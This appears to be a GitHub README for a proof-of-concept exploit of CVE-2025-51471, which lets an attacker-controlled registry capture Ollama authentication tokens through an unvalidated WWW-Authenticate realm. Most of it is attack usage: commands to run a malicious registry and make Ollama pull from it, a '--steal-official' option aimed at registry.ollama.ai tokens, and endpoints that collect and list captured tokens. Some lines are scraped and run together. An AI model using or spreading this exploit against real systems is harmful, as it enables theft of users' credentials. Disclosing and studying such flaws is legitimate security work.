ajtazer/cve-2025-51471-pocThis PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.
Author: ajtazer
This repository contains a Proof of Concept (PoC) for CVE-2025-51471, a Cross-Domain Authentication Token Exposure vulnerability that affects all versions of Ollama (including the latest).
When Ollama pulls a model from an HTTPS server that responds with 401 Unauthorized, it follows the WWW-Authenticate header's realm URL without validating if it belongs to the same domain[...]
This allows an attacker to:
401 response with a WWW-Authenticate header pointing to attacker-controlled endpointregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
I demonstrated this PoC in a short video — watch it here:
Note (macOS HTTPS mode): If using HTTPS mode, add the generated cert to your keychain or use HTTP mode with
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Description |
|---|---|
/v2/* | Fake registry endpoint (triggers exploit) |
/v2/token | Token capture endpoint |
/tokens | View all captured tokens (JSON) |
/health | Server health check |
This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.
Made with ❤️ using Antigravity